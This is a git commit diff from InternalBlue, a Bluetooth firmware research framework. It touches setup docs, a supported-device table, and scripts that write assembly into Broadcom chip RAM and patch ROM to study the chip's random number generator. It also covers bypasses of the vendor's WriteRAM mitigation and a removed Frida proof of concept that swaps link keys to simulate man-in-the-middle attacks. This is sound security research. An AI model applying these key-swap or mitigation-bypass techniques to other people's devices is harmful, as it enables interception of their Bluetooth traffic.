1 Commits

Author SHA1 Message Date
r0bre e07f0465a2 reimplemented flat for faster memdumps 2021-04-26 20:45:25 +02:00
87 changed files with 4347 additions and 4880 deletions
-1
View File
@@ -25,4 +25,3 @@ venv3
# pycharm
*.idea
*.egg-info
+5 -10
View File
@@ -41,17 +41,13 @@ to be triggered. *Frankenstein* is in a separate repository, but depends on *Int
to take state snapshots etc. on a physical device.
Moreover, we just published [Polypyus](https://github.com/seemoo-lab/polypyus).
It enables binary-only binary diffing, independent of *IDA* and *Ghidra*. However,
It enables binary-only binary diffing, independent from *IDA* and *Ghidra*. However,
it integrates into that workflow by identifying good starting points for further
analysis. We already tried it across various *Broadcom* Wi-Fi and Bluetooth firmware.
Looking for our random number generator measurements that we did within the analysis
of CVE-2020-6616? You can find them [here](doc/rng.md).
There are also some more dynamic hooks for HCI with [Frida on iOS and Android](doc/keychange.md).
We used this to study the warning behavior in the user interface upon MitM attacks.
Likely useful for a lot of other experiments, though.
Due to Spectra 👻🌈 the write and read RAM commands are disabled after driver initialization.
Workarounds for this are described in the according *Android* and *iOS* instructions,
bypasses for other devices will follow if needed.
@@ -63,11 +59,10 @@ Table of Contents
* [Feature overview](doc/features.md)
* [General setup and usage](doc/setup.md)
* Operating system specific setup
* [Android](doc/android.md) *6—11 (rooted)*
* [iOS](doc/ios.md) *12—14 (jailbroken)*
* [macOS](doc/macos.md) *High Sierra—Big Sur*
* [Android](doc/android.md) *6—10 (rooted)*
* [iOS](doc/ios.md) *12—13 (jailbroken)*
* [macOS](doc/macos.md) *High Sierra—Catalina*
* [Linux](doc/linux_bluez.md) with *BlueZ* (default) but __not__ WSL
* [User-space macOS, Linux, Windows](doc/btstack.md) with *BTstack*
* [Firmware overview](doc/firmware.md)
* [SEEMOO talks and publications](doc/publications.md)
* [Examples](doc/examples.md)
@@ -84,7 +79,7 @@ Table of Contents
License
-------
Copyright 2018-2021 The InternalBlue Team
Copyright 2018-2020 The InternalBlue Team
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
+11 -16
View File
@@ -66,22 +66,6 @@ read RAM and write RAM to be able to debug the RNG during runtime again. This `.
is available in [`samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip`](../android/samsung_s8_2020-06_vendor_firmware_rng-patched_rw-ram-unpatched.zip).
New dirty hack that should work for the *Samsung Galaxy Note 20 5G* from which this file was extracted
but also on the *S10/10e/10+/20/* and *Note 20*: Use the file [`samsung_s10e_note20-5g_2021-01-21_bcm4375B1_semco.hcd`](../android/samsung_s10e_note20-5g_2021-01-21_bcm4375B1_semco.hcd).
Your new `Write_RAM` handler must be set in `hci.py`:
```
VSC_Write_RAM = 0xC6F
```
Then, re-enalbe all blocked commands by executing:
```
> writeasm 0x17A210 b.w 0x5E980
```
Just accept this magic, writeup will follow :)
Prebuilt Library Status
-----------------------
@@ -279,3 +263,14 @@ until the Start the build section. Then do:
Flex crashes on Ubuntu 18.04 - [workaround](https://stackoverflow.com/questions/49301627/android-7-1-2-armv7):
export LC_ALL=C
Empty Device List
-----------------
If `adb devices` returns something, but *InternalBlue* cannot find your device, you might try to comment out the following
lines in `pwnlib/adb/adb.py`:
#for field in fields[2:]:
# k,v = field.split(':', 1)
# kwargs[k] = v
+1 -1
View File
@@ -14,7 +14,7 @@ On any Broadcom Bluetooth chip:
* Read and write assembly to RAM
* Read ROM
* Set defined breakpoints that crash on execution
* Inject arbitrary valid LMP messages (opcode and length must be standard compliant, contents and order are arbitrary)
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
-1
View File
@@ -70,7 +70,6 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
0x000f | 0x09 | 0x6214 | BCM4355C1 | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air but are BT 5* | Oct 25 2018
0x000f | 0x0b | 0x6308 | BCM4387C2 | iPhone 12 | Oct 29 2019
+24 -80
View File
@@ -1,5 +1,4 @@
## Installation of internalblued on iOS
# iOS internalblued
This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
A jailbroken device is required.
@@ -19,10 +18,9 @@ PCIe devices:
* iPhone Xs (not tested)
* iPhone 11
* iPhone SE2
* iPhone 12
* iPhone 13 (same as iPhone 12)
## Installing
1. Transfer the `.deb` file to your iOS device
2. Run `dpkg -i your-deb-file.deb` to install `internalblued` on your device
@@ -43,44 +41,32 @@ In case the Bluetooth chip stops responding, Bluetooth has to be turned on and o
There is a Settings App pane for `internalblued` to turn off the daemon and adapt the listening port. However, this is usually not required. As long as `internalblue` is not connected to `internalblued`'s socket, Bluetooth can be used without any restrictions.
## Building internalblued
1. Install [theos](https://github.com/theos/theos)
2. Install the correct version of PrivateFramework header files (e.g. from [here](https://github.com/xybp888/iOS-SDKs)) for your build into your SDK
3. Run `make package`
4. A `.deb` file should be in the `packages` folder now
## Bypassing WriteRAM Restriction on PCIe iPhones (unc0ver)
Same principle but the firmware has checksums. Thanks to r0bre we how have
[fpibro.py](https://github.com/seemoo-lab/frankenstein/blob/master/projects/BCM4387C2/ios_scripts/fpibro.py),
which is capable of fixing these after modification.
## BlueTool
Instead of overwriting the file, copy it to the `/tmp` folder and load it with `BlueTool`.
Everything else will bootloop an A12+ device (see above).
More inconvenient to use, but still an option for unsupported devices, is `BlueTool`.
It can even be scripted, but the scripts must be located in `/etc/bluetool`.
```commandline
power off
For example, during our Random Number Generator (RNG) tests, we used the following commands
to access the RNG area and execute the `LE_Rand` HCI command. Note that the input must be
decimal but the output is hexadecimal. Similar to `internalblued`, `BlueTool` can only
run while Bluetooth is turned off.
```
device -D
bcm -w /tmp/firmware.bin
hci cmd 0xfc4d 0 38 96 0 32
HCI Command Response: 01 4D FC 00 03 00 00 00 01 00 00 02 DC 70 02 76 77 77 77 77 77 77 77 77 00 00 00 00 00 00 00 00 00 00 00 00
hci cmd 0x2018
HCI Command Response: 01 18 20 00 2A FC 1F 73 67 11 06 F9
```
None of the commands should return an error (e.g., no `bcm returned -1` error etc.).
***iPhone 12+13***
Hazelnut firmware with a WriteRAM bypass, compatible with iPhone 12+13:
[Hazelnut_iPhone12+13_iOS15.2.bin](../ios-pcie/firmware/Hazelnut_iPhone12+13_iOS15.2.bin),
will also work on jailbroken iOS 14.x iPhone 12.
Firmware modification and writing patches in C is supported as part of Frankenstein.
Tooling and symbols for the [BCM4387C2](https://github.com/seemoo-lab/frankenstein/tree/master/projects/BCM4387C2)
chip are available to perform research on the iPhone 12 and 13.
***iPhone 11+SE2020***
Moana (iPhone 11) firmware with a WriteRAM bypass, compatible with iPhone 11+SE2020:
[Moana_iPhone11+SE2_iOS15.bin](../ios-pcie/firmware/Moana_iPhone11+SE2_iOS15.bin),
will also work with jailbroken iOS 14.x on iPhone SE2020.
## Bypassing the WriteRAM Restriction on UART iPhones (checkm8)
## Bypassing the WriteRAM Restriction
After iOS 13.3, WriteRAM is blocked. This is part of the Spectra mitigation and should prevent
an attacker with control over `bluetoothd` to escalate into the Wi-Fi chip (yes, Wi-Fi, not Bluetooth, this is
@@ -103,53 +89,11 @@ ROM:0014617C 0A 2D CMP R5, #0xA ; fc0a: VSC_Sup
We can simply replace the `0x4c`, which is the WriteRAM command, with `0x42`, which is not used.
Note that `BlueTool` contains multiple copies of these `.hcd` files and you should replace all of them.
The accordingly modified `BlueTool` needs to be copied to `/usr/sbin/BlueTool` and `/usr/sbin/BlueTool.sbin`.
To get Bluetooth working properly again after replacing `BlueTool`, run:
```commandline
killall -9 bluetoothd internalblued BlueTool
```
Then, start a new *InternalBlue* Session.
To get Bluetooth working properly again after replacing `BlueTool`, the iPhone needs to be rebooted.
**Bluetooth will only work while the device is jailbroken with a modified BlueTool version!
Use at your own risk and make a backup of the original.** Without jailbreak, the integrity check
for `BlueTool` fails. **You can only reboot the device in this state with checkm8, your device will
be bricked if you do this on unthethered jailbreaks like unc0ver!** You can still unbrick it by re-flashing
iOS, but if you did not have a blob backup, you'll need to upgrade it to the latest signed iOS version.
for `BlueTool` seems to fail and Bluetooth is constantly restarting.
[BlueTool for iOS 13.6 on an iPhone 8](../ios/firmware/BlueTool_iPhone8_iOS13.6), might also work on other pre-A12 devices.
[BlueTool for iOS 14.3 on an iPhone 7+8](../ios/firmware/BlueTool_iPhone7+8_iOS14.3), might also work on other pre-A12 devices.
[BlueTool for iOS 14.7 on an iPhone 7+8](../ios/firmware/BlueTool_iPhone7+8_iOS14.7), might also work on other pre-A12 devices.
## Building internalblued (optional)
1. Install [theos](https://github.com/theos/theos)
2. Install the correct version of PrivateFramework header files (e.g. from [here](https://github.com/xybp888/iOS-SDKs)) for your build into your SDK
3. Run `make package`
4. A `.deb` file should be in the `packages` folder now
## BlueTool
Instead of using InternalBlue, it is also possible to use Apple's undocumented internal
tool `BlueTool`. It is way more inconvenient to use, has a lot of commands that will not show
in the help menu, and easily crashes when using it inappropriately. Apple does not consider
this to be an issue, since `BlueTool` cannot be called from sandboxed processes.
If you consider using `BlueTool` instead of InternalBlue, e.g., because your device is not
yet supported, you can even script it. All scripts must be located in `/etc/bluetool`.
For example, during our Random Number Generator (RNG) tests, we used the following commands
to access the RNG area and execute the `LE_Rand` HCI command. Note that the input must be
decimal but the output is hexadecimal. Similar to `internalblued`, `BlueTool` can only
run while Bluetooth is turned off.
```commandline
device -D
hci cmd 0xfc4d 0 38 96 0 32
HCI Command Response: 01 4D FC 00 03 00 00 00 01 00 00 02 DC 70 02 76 77 77 77 77 77 77 77 77 00 00 00 00 00 00 00 00 00 00 00 00
hci cmd 0x2018
HCI Command Response: 01 18 20 00 2A FC 1F 73 67 11 06 F9
```
[BlueTool for iOS 13.6 on an iPhone 8](../ios/BlueTool_iPhone8_iOS13.6), might also work on other <A12 devices.
-64
View File
@@ -1,64 +0,0 @@
Happy MitM - Fun and Toys in Every Bluetooth Device
---------------------------------------------------
The Bluetooth 5.2 specification requires to warn the user upon authentication
failures (p. 1314). However, none of the current stacks implements this.
For a simple PoC, we temporarily change the link key when the chip requests
it via HCI. Note that **this PoC can also be used for various other HCI-based
experiments**, e.g., to test non-compliant chip behavior. As of now, these
scripts are based on Frida and available for Android and iOS.
You can find more details in our WiSec 2021 publication.
#### iOS PoC
As a proof of concept, we use Frida on an iPhone 8 with iOS 14.4 (same iOS as iPhone 7)
and switch the link key upon request. The [script](../examples/keychange/ios_keychange.js) can be called as follows:
```
frida -U bluetoothd --no-pause -l ios_keychange.js
```
Frida automatically applies changes to the script during runtime as soon as the
script changes, so it is possible to change `var swap_key = true;` to `false` and
just save the script to disable swapping the keys and just displaying them.
Of course, we could also try to make a perfect copy of the iPhone and create a
device with a similar MAC address. However, this also requires to set the same
IO capabilities and device properties and might introduce additional sources of
failure.
#### Android PoC
Our PoC also contains a [script](../examples/keychange/android_keychange.js) for an Android phone, the Samsung Galaxy Note20 5G
on a patchlevel of January 2021. However, since we hook into `libbluetooth.so` without
symbols this only works in this very specific version. Moreover, since Android loads all
link keys on Bluetooth initialization, one needs to disable and re-enable Bluetooth to
get the PoC working.
The PoC works for both BLE and Classic Bluetooth. BLE is best to be tested with the
nRF Connect app, since this supports separate bonding without downloading the actual app
of the BLE gadget.
Usage:
```
frida -U com.android.bluetooth --no-pause -l android_keychange.js
```
#### Linux PoC
For BlueZ, just replace the key in `/var/lib/bluetooth/mac1/mac2/info`.
`bluetoothd` needs to be restarted. Hooking with Frida didn't work within HCI because
BlueZ uses a separate management layer and `hci.c` only seems to be used by `hcitool`.
The management layer is described in `doc/mgmt-api.txt` and has commands to load all
link keys and all long term keys (*Load Link Keys Command*, *Load Long Term Keys Command*),
which are issued during startup and read from `/var/lib/bluetooth`. Thus, we could hook
the management interface from userspace, but that wouldn't add any value to *InternalBlue*
later on.
Some more details on the Linux BlueZ architecture that are relevant for this are
also described in this [blog post](https://naehrdine.blogspot.com/2021/03/bluez-linux-bluetooth-stack-overview.html).
+8 -44
View File
@@ -2,20 +2,12 @@
Linux Setup
-----------
The following steps are required to use the CYW20735B1/CYW20819A evaluation kit as normal HCI device on Linux with BlueZ.
The following steps are required to use the CYW20735B1 evaluation kit as normal HCI device on Linux with BlueZ.
## 1. Setup as HCI device
**1. Setup as HCI device**
**CYW20819**: Set up the device with a baud rate of 115200 and the Broadcom driver. The baud rate will be upgraded
later on during device setup. Thanks to [Paul](https://naehrdine.blogspot.com/2021/03/bluez-linux-bluetooth-stack-overview.html?showComment=1619213054106#c1857559418654834801)
for pointing this out.
btattach -P bcm --speed 115200 -B /dev/ttyUSB0
echo 1 >sys/kernel/debug/bluetooth/hci0/vendor_diag
**CYW20735**: You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
You need to set the baud rate to 3 Mbit/s. Replace `/dev/ttyUSB0` with your device.
btattach -B /dev/ttyUSB0 -S 3000000
@@ -23,15 +15,14 @@ If this does not work directly, use:
stty -F /dev/ttyUSB0 3000000
btattach -B /dev/ttyUSB0
Sometimes, you need to plug/unplug the evaluation board multiple times and run a combination of the commands above.
If setup was successful can be checked with `hciconfig`. A MAC address with all zeros indicates that the baud rate
was not set correctly, and you need to try again.
was not set correctly and you need to try again.
## 2. Use with BlueZ
**2. Use with BlueZ**
Assuming that you already have a regular Bluetooth device, your new device is `hci1`.
Assuming that you already have a regular Bluetooth device, you new device is `hci1`.
hciconfig hci1 up
@@ -39,7 +30,7 @@ You can list your HCI devices:
hcitool dev
## 3. Command line tools for connections
**3. Command line tools for connections**
Scanning for devices:
@@ -87,31 +78,4 @@ the vendor diagnostics are missing.
*BlueZ* already comes with a monitor that decodes some parts of the diagnostic
traffic, simply run:
btmon
You can also use the monitor mode in *Wireshark* by opening `bluetooth-monitor`
in the device list instead of `bluetooth`.
If your device is not supported within the Linux kernel for vendor diagnostics,
you can still patch around in the kernel, such as the [BIAS](https://github.com/francozappa/bias/tree/master/linux-4.14.111)
PoC did it. A diff against the original kernel can be found [here](../linux/bias_linux-4.14.111.diff).
Since this means recompiling the kernel, use this at your own risk. This is definitely not how
it is meant to be used.
Firmware Downgrade
------------------
The Spectra bug fixes are a bit special on Linux, at least for the Raspberry Pi 3+/4/4B chip. Reading
RAM still works except the Patchram region. Thus, commands like `info patchram` result in a timeout
in InternalBlue. Further analysis with `btmon` shows that the return status on HCI is `Status: Invalid HCI Command Parameters (0x12)`
when reading the Patchram bitfield.
You can work around this by downgrading the firmware as follows:
```
cd /usr/lib/firmware/brcm/
cp BCM4345C0.hcd BCM4345C0_orig.hcd
wget https://github.com/RPi-Distro/bluez-firmware/blob/96eefffcccc725425fd83be5e0704a5c32b79e54/broadcom/BCM4345C0.hcd?raw=true
mv 'BCM4345C0.hcd?raw=true' BCM4345C0.hcd
```
btmon
+33 -58
View File
@@ -1,69 +1,50 @@
Prerequisites
-------------
macOS Setup
-----------
### 1. Prerequisites
*InternalBlue* runs as regular user, no administrator access is required.
Install `homebrew` (see https://brew.sh/) and then use it to install `python3`, `cmake`, and optionally `git`.
Install `homebrew` (see https://brew.sh/) and then use it to install `git` and `python3`.
Hardware and OS
---------------
If you want to use ARM assembly and disassembly, which is required for some patches and debugging, install[binutils](https://github.com/Gallopsled/pwntools-binutils).
```
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-arm.rb
```
*InternalBlue* support is the best on *macOS Catalina* with a *BCM20703A2* chip. Symbols for this particular chip
are in our [Polypyus](https://github.com/seemoo-lab/polypyus) repo, and on *Catalina*, the HCI command for writing
to RAM still works.
### 2. Installation
Basic operation and Bluetooth hacking is supported on anything from *macOS High Sierra* to *macOS Big Sur* as long
as it is a Broadcom chip :)
Installation
-----------
#### [1] Get files
Get *InternalBlue*, either by cloning with `git`
```sh
#### a) With Git
Clone *InternalBlue* and install it. Preferrably in a new virtual environment.
```
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
virtualenv -p python3 venv
source venv/bin/activate
pip install --editable ./
pip install pyobjc
```
Without `pyobjc`, you might get an error message that the `IOBluetoothExtended.framework` was not found even
if the folder is correct.
#### b) Without Git
Download *InternalBlue* and install it. Preferrably in a new virtual environment.
```
or downloading from GitHub.
```sh
curl -LJO https://github.com/seemoo-lab/internalblue/archive/master.zip
unzip internalblue-master.zip
cd internalblue-master
```
#### [2] New virtual environment.
```sh
pip3 install virtualenv
virtualenv -p python3 venv
source venv/bin/activate
pip install --editable ./
pip install pyobjc
```
#### [3] Install
Now you have to choose whether you want to install the requirements for (dis)assembly,
which can not only take a long time on low-power devices but you also might not need
the features that require these dependencies.
### 3. Framework Setup
#### [3a] Install Without binutils
If you don't need ARM assembly and disassembly, just specify that you need the macOS-specific dependencies:
```sh
pip install -e .\[macoscore\]
```
#### [3b] Install With binutils
If you want to use ARM assembly and disassembly, which is required for some patches and debugging, install [binutils](https://github.com/Gallopsled/pwntools-binutils).
```sh
brew install wget
wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-arm.rb
brew install binutils-arm.rb
```
Also add the `binutils` requirement so that `pip install` looks like this:
```sh
pip install -e .\[macoscore,binutils\]
```
Framework Setup
-----------
#### [a] Precompiled
#### a) Precompiled
On macOS High Sierra or older, you need to use a precompiled [IOBluetoothExtended.framework](../macos/IOBluetoothExtended.framework.zip) file.
It only runs after installing the *Swift 5 Runtime Support Command Line Tools*, otherwise, the error
message `Library not loaded: @rpath/libswiftCore.dylib` is shown.
@@ -77,7 +58,7 @@ Depending on the installation location, if the `IOBluetoothExtended.framework` i
adapt the path in `macoscore.py`.
#### [b] Compile yourself
#### b) Compile yourself
On macOS Mojave and newer, *Xcode 10.2.1* and up is supported. On these systems, you can build the
framework yourself.
@@ -87,8 +68,7 @@ open internalblue/macos/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
⌘ + B
Startup
-----------
### 4. Startup
Now, *InternalBlue* can be executed normally, like shown.
```
python3 -m internalblue.cli
@@ -96,16 +76,11 @@ python3 -m internalblue.cli
You can also use the shortcut `internalblue`.
Debugging
-----------
### 5. Debugging
You can open `PacketLogger`, which is included in the `Additional Tools for Xcode`, to observe all Bluetooth packets.
If you do excessive IO such as dumping the ROM and get the message `Failure: creating socket: Too many open
files`, you need to change the `ulimit`, i.e., `ulimit -n 1000`.
macOS Big Sur
-------------
*InternalBlue* also works on macOS Big Sur! Note that the `writemem` command is blocked. Moreover, to get it working,
you might need to downgrade `pwntools`, i.e., version `4.0.1` seems to work.
Binary file not shown.
-21
View File
@@ -44,10 +44,6 @@ was also recorded and gives a more high level overview.
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
within *InternalBlue* and the Patchram state of various devices.
* **Bachelor Thesis** (12/2019)
*InternalBlue* was ported to macOS as part of Davide Toldo's [Bachelor Thesis](macos_bluetooth_stack_thesis_davide_toldo.pdf), in which he explores how the Bluetooth stack works in macOS and how it is possible to send and receive HCI and ACL packets through unofficial APIs.
* **36C3 Talk** (12/2019)
@@ -72,20 +68,3 @@ was also recorded and gives a more high level overview.
We looked into Apple's Bluetooth ecosystem, especially MagicPairing, which secures AirPods.
For more details, read our paper [MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
* **Binary Analysis Research Workshop Paper** (01/2021)
We built a tool that can diff raw firmware and benchmarked it on Broadcom/Cypress chips.
The source code is on the [Polypyus](https://github.com/seemoo-lab/polypyus) GitHub page.
There's also a [video](https://www.youtube.com/watch?v=kQS0pGs7bsM) and a [paper](https://www.ndss-symposium.org/wp-content/uploads/bar2021_23004_paper.pdf).
* **WiSec Paper** (07/2021)
New paper demonstrating that all major operating systems don't show warnings if Bluetooth
keys break due to MitM attacks, presented at WiSec. Also see [PoC](keychange.md) scripts.
* **WiSec Tutorial** (07/2021)
[Tutorial](https://sites.nyuad.nyu.edu/wisec21/tutorials/) revisiting the current state of InternalBlue. Basically an update from the REcon 2019
talk, but with more recent explanations, bypassing anti-patching, and explanations on all
the operating system specific hooks.
+6 -25
View File
@@ -23,9 +23,8 @@ Requirements
* For most commands: Privileged access
#### iOS
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X, 11, SE2)
* For iPhones older than XR, use the ios/ daemon
* For iPhones newer than XR, use the ios-pcie/ daemon (these devices have a Bluetooth chip connected via PCIe)
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X,
does not work on iPhones newer than XR, these devices have a Bluetooth chip connected via PCIe)
* iOS 12 and 13 have been tested as of now
* `usbmuxd`, which is pre installed on macOS but is available on most Linux distributions as well. Alternatively it can
be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
@@ -36,7 +35,7 @@ be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
#### macOS
* Homebrew
* Xcode
* Xcode 10.2.1
* Instructions see [here](macos.md)
Setup and Installation
@@ -59,7 +58,7 @@ The *InternalBlue* framework supports and requires Python 3.6 and above.
### Install from PyPI
Currently, there is no package published on PyPI for Python 3, this will happen in the near future.
Currently there is no package published on PyPI for Python 3, this will happen in the near future.
### Install as package from GitHub `master` or any other branch
@@ -79,14 +78,12 @@ pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.
### Development Install
If you expect that you might want to read the code locally, debug it
If you except that you might want to read the code locally, debug it
or possibly change it you should setup an editable install.
```sh
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
virtualenv -p python3 venv
source venv/bin/activate
pip install --editable ./
```
Any changes to the python code in your git checkout will now be immediately reflected when importing `internalblue` or starting it from your shell.
@@ -99,26 +96,10 @@ hub fork # requires https://github.com/cli/cli to be set up before
git checkout -b $your_new_feature_branch
```
### Full Install including assembly, disassembly etc.
Perform all steps of the development install, but additionally tell `pip` to install the `binutils` requirements as well.
```sh
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
virtualenv -p python3 venv
source venv/bin/activate
pip install --editable .\[binutils\]
```
### Dependencies
InternalBlue will by default install the following dependencies:
* `cmd2`
* `pure-python-adb`
If you opt for the full set of features, additionally these dependencies are installed:
It will install the following dependencies:
* `pwntools`
* `pyelftools`
The `pwntools` module needs the `binutils` package for ARM 32-bit to be installed
on the system. This has to be installed manually by using the packet manager
+39 -36
View File
@@ -2,17 +2,11 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from pwn import *
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
import internalblue.hci as hci
import numpy as np
from datetime import datetime
"""
Measure the RNG of the CYW20719 Evaluation Board.
@@ -36,7 +30,7 @@ Changes:
"""
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
@@ -128,49 +122,54 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = HCICore()
internalblue.interface = 'hci0' # internalblue.device_list()[0][1] # just use the first device
internalblue.interface = 'hci0' #internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
progress_log = log.info("Installing assembly patches...")
# Disable Patchram
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=None):
# internalblue.logger.critical("error!")
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_log.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
internalblue.logger.critical("error!")
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
internalblue.logger.critical("Could not disable original RNG!")
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG + 1)): # function table entries are sub+1
internalblue.logger.critical("Could not implement our launch RAM fix!")
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0xD2DEC, patch):
internalblue.logger.critical("Could not disable original bcs_taskDeactivate_blocking!")
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
internalblue.logger.info("Installed all RNG hooks.")
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
@@ -179,8 +178,6 @@ than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
@@ -188,20 +185,22 @@ def rngStatusCallback(record):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
internalblue.logger.debug("Random data done!")
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
internalblue.logger.info("RNG round %i..." % i)
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
@@ -212,7 +211,7 @@ while rounds > i:
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
@@ -221,7 +220,7 @@ while rounds > i:
for c in check:
pos = pos + 1
if c != 0x42:
internalblue.logger.warning(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG + (pos * 5)))
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
@@ -232,18 +231,22 @@ while rounds > i:
data.extend(random)
i = i + 1
internalblue.logger.info("Finished acquiring random data!")
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20719-randomdata-%irounds-0xc00-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
internalblue.logger.info("--------------------")
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+41 -32
View File
@@ -3,16 +3,16 @@
# Jiska Classen, Secure Mobile Networking Lab
import sys
from argparse import Namespace
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
from datetime import datetime
import numpy as np
from pwnlib.asm import asm
import internalblue.hci as hci
from internalblue.cli import InternalBlueCLI
from internalblue.hcicore import HCICore
from internalblue.utils.packing import p32
"""
Measure the RNG of the CYW20719 Evaluation Board.
@@ -36,7 +36,7 @@ Changes:
"""
# ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
@@ -125,49 +125,54 @@ ASM_SNIPPET_RNG = """
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing assembly patches...")
progress_log = log.info("Installing assembly patches...")
# Disable Patchram
# if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_internalblue.logger.critical("error!")
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_log.critical("error!")
# exit(-1)
